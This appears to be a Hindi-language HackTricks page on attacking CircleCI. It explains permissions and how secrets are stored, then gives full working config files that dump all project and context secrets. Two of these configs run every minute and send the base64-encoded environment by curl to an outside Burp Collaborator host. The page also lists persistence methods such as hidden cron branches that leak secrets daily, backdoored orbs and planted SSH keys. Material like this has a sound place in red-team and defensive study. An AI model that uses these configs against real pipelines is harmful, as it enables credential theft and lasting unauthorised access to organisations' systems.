CircleCI Security

हैकट्रिक्स का समर्थन करें

मौलिक जानकारी

सर्कलसीआई एक सतत एकीकरण प्लेटफॉर्म है जहाँ आप टेम्पलेट्स को परिभाषित कर सकते हैं जिससे आप इसे कुछ कोड के साथ क्या करना चाहते हैं और कब करना चाहते हैं वह दिखा सकते हैं। इस तरह आप टेस्टिंग को स्वचालित या डिप्लॉयमेंट को अपने रेपो मास्टर ब्रांच से सीधे कर सकते हैं।

अनुमतियाँ

सर्कलसीआई गिटहब और बिटबकेट से अनुमतियों को विरासत में लेता है जो खाता लॉग इन करता है। मेरे परीक्षण में मैंने यह जांचा कि जब तक आपके पास गिटहब में रेपो पर लेखन अनुमतियाँ हैं, तब आपको सर्कलसीआई में इसकी परियोजना सेटिंग्स को प्रबंधित करने की अनुमति होगी (नए एसएसएच कुंजियाँ सेट करना, परियोजना एपीआई कुंजियाँ प्राप्त करना, नए सर्कलसीआई कॉन्फ़िग के साथ नए ब्रांच बनाना...).

हालांकि, आपको एक रेपो व्यवस्थापक होना चाहिए ताकि आप रेपो को एक सर्कलसीआई परियोजना में परिवर्तित कर सकें।

एनवायरनमेंट वेरिएबल्स और रहस्य

दस्तावेज़ के अनुसार एक वर्कफ़्लो में मूल्यों को एनवायरनमेंट वेरिएबल्स में लोड करने के लिए विभिन्न तरीके हैं।

बिल्ट-इन एनवायरनमेंट वेरिएबल्स

सर्कलसीआई द्वारा चलाए गए प्रत्येक कंटेनर में हमेशा दस्तावेज़ में परिभाषित विशिष्ट एनवायरनमेंट वेरिएबल्स जैसे CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME या CIRCLE_USERNAME होंगे।

स्पष्ट पाठ

आप उन्हें स्पष्ट पाठ में एक कमांड के भीतर घोषित कर सकते हैं:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

आप उन्हें रन वातावरण में स्पष्ट पाठ में घोषित कर सकते हैं:

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

आप उन्हें build-job environment के भीतर स्पष्ट पाठ में घोषित कर सकते हैं:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

आप उन्हें एक कंटेनर के वातावरण में स्पष्ट पाठ में घोषित कर सकते हैं:

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

परियोजना रहस्य

ये रहस्य हैं जो केवल परियोजना (किसी भी शाखा द्वारा) द्वारा पहुंचे जा सकते हैं। आप इन्हें देख सकते हैं जो घोषित किए गए हैं https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

"आयात चर" कार्यक्षमता यह संभव बनाती है कि इसमें अन्य परियोजनाओं से चरों को आयात किया जा सके

संदर्भ रहस्य

ये रहस्य हैं जो संगठन व्यापी हैं। डिफ़ॉल्ट रूप से किसी भी रेपो को यहाँ संग्रहित किए गए किसी भी रहस्य तक पहुंच होगी:

हालांकि, ध्यान दें कि सभी सदस्यों की बजाय एक विभिन्न समूह (All members की बजाय) को चुना जा सकता है ताकि केवल विशिष्ट व्यक्तियों को रहस्यों तक पहुंचने की अनुमति दी जा सके। यह वर्तमान में रहस्यों की सुरक्षा बढ़ाने का एक अच्छा तरीका है, जिससे सभी को पहुंचने की अनुमति न दी जाए बल्कि कुछ लोगों को ही।

हमले

स्पष्ट पाठ रहस्य खोजें

यदि आपके पास वीसीएस तक पहुंच है (जैसे github) तो प्रत्येक रेपो की प्रत्येक शाखा के फ़ाइल .circleci/config.yml की जाँच करें और वहाँ संभावित स्पष्ट पाठ रहस्य की खोज करें।

गुप्त चर और संदर्भ गणना

कोड की जाँच करके आप प्रत्येक .circleci/config.yml फ़ाइल में उपयोग किए जा रहे सभी रहस्यों के नाम पा सकते हैं। आप उन फ़ाइलों से या उन्हें वेब कंसोल में जाँच करके संदर्भ नाम भी प्राप्त कर सकते हैं: https://app.circleci.com/settings/organization/github/<org_name>/contexts

परियोजना रहस्य निकालना

सभी परियोजना और संदर्भ रहस्य को निकालने के लिए आपको केवल पूरे github संगठन में किसी भी एक रेपो में लिखने की अनुमति होनी चाहिए (और आपके खाते को संदर्भों तक पहुंच होनी चाहिए लेकिन डिफ़ॉल्ट रूप से हर कोई हर संदर्भ तक पहुंच सकता है।)

"आयात चर" कार्यक्षमता यह संभव बनाती है कि इसमें अन्य परियोजनाओं से चरों को आयात किया जा सके। इसलिए, एक हमलावर सभी परियोजना चरों को सभी रेपो से आयात कर सकता है और फिर उन सभी को एक साथ निकाल सकता है

सभी परियोजना रहस्य हमेशा नौकरियों के env में सेट किए जाते हैं, इसलिए इन्हें एनवी बुलाना और उसे base64 में अविश्वसनीय बनाना रहस्यों को वर्कफ़्लो वेब लॉग कंसोल में निकालेगा:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

यदि आपको वेब कंसोल तक पहुंचने का अधिकार नहीं है लेकिन आपके पास रेपो तक पहुंचने का अधिकार है और आपको पता है कि CircleCI का उपयोग हो रहा है, तो आप एक वर्कफ्लो बना सकते हैं जो हर मिनट ट्रिगर होता है और जो रहस्यों को एक बाह्य पते पर निकालता है:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

संदर्भ रहस्यों को बाहर ले जाएं

आपको संदर्भ नाम निर्दिष्ट करना होगा (यह भी परियोजना के रहस्यों को बाहर ले जाएगा):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

यदि आपको वेब कंसोल तक पहुंचने का अधिकार नहीं है लेकिन आपके पास रेपो तक पहुंचने का अधिकार है और आपको पता है कि CircleCI का उपयोग हो रहा है, तो आप बस एक वर्कफ्लो को संशोधित कर सकते हैं जो प्रति मिनट ट्रिगर होता है और जो रहस्यों को एक बाह्य पते पर निकालता है:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

केवल एक नए .circleci/config.yml फ़ाइल रिपो में बनाना सर्कलसीआई बिल्ड को ट्रिगर करने के लिए पर्याप्त नहीं है। आपको सर्कलसीआई कंसोल में एक परियोजना के रूप में इसे सक्षम करने की आवश्यकता है

बादल को छोड़ें

CircleCI आपको उनकी मशीनों में या अपनी मशीनों में अपने बिल्ड चलाने का विकल्प देता है। डिफ़ॉल्ट रूप से उनकी मशीनें जीसीपी में स्थित हैं, और आप पहले कुछ भी संबंधित नहीं पा सकते। हालांकि, यदि कोई पीड़ित अपने कार्यों को अपनी मशीनों में चला रहा है (संभावना, एक बादल एनवायरनमें), तो आपको एक बादल मेटाडेटा एंडपॉइंट मिल सकता है जिसमें दिलचस्प जानकारी हो सकती है

पिछले उदाहरणों में ध्यान दें कि सब कुछ एक डॉकर कंटेनर के अंदर लॉन्च किया गया था, लेकिन आप यह भी एक वीएम मशीन लॉन्च करने के लिए कह सकते हैं (जिसमें विभिन्न बादल अनुमतियाँ हो सकती हैं):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

या फिर एक डॉकर कंटेनर जिसका रिमोट डॉकर सेवा तक पहुंच हो:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistence

  • संभव है कि सर्कलसीआई में उपयोगकर्ता टोकन बनाया जा सके ताकि उपयोगकर्ता एक्सेस के साथ API एंडप्विंट्स तक पहुंचा जा सके।

  • https://app.circleci.com/settings/user/tokens

  • प्रोजेक्ट टोकन बनाना संभव है ताकि टोकन को दिए गए अनुमतियों के साथ प्रोजेक्ट तक पहुंचा जा सके।

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • प्रोजेक्ट में SSH कुंजियाँ जोड़ना संभव है

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • एक क्रॉन जॉब बनाना संभव है एक अप्रत्याशित प्रोजेक्ट में एक छिपी हुई शाखा में जो प्रतिदिन सभी संदर्भ एनवी वार्स लीक कर रही है

  • या फिर एक शाखा में बनाना / एक ज्ञात जॉब को संशोधित करना जो प्रतिदिन सभी संदर्भ और प्रोजेक्ट सीक्रेट्स लीक करेगा

  • अगर आप एक गिटहब मालिक हैं तो आप अनसत्यापित ऑर्ब्स की अनुमति दे सकते हैं और एक जॉब में एक बैकडोर के रूप में एक कॉन्फ़िगर कर सकते हैं।

  • आप किसी कार्य में कमांड इंजेक्शन वलनरेबिलिटी खोज सकते हैं और उसके मान में कमांड इंजेक्शन कर सकते हैं एक रहस्य के माध्यम से उसके मान को संशोधित करके

हैकट्रिक्स का समर्थन करें

Last updated